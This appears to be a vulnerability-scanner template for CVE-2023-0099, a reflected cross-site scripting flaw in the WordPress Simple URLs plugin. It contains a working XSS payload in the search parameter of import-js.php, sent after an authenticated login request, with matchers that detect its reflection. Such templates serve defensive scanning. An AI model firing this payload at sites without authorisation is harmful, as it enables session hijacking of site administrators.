CVE-2023-0099: Simple URLs < 115 - Cross Site Scripting

id: CVE-2023-0099

info:
  name: Simple URLs < 115 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution.
  remediation: Fixed in version 115
  reference:
    - https://wpscan.com/vulnerability/fd50f2d6-e420-4220-b485-73f33227e8f8
    - https://wordpress.org/plugins/simple-urls/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0099
    - http://packetstormsecurity.com/files/176983/WordPress-Simple-URLs-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0099
    cwe-id: CWE-79
    epss-score: 0.51381
    epss-percentile: 0.97811
    cpe: cpe:2.3:a:getlasso:simple_urls:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: getlasso
    product: simple_urls
    framework: wordpress
  tags: wpscan,packetstorm,cve,cve2023,xss,simple-urls,authenticated,wordpress,wp,wp-plugin,getlasso

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body, "</script><svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "search_term")'
        condition: and
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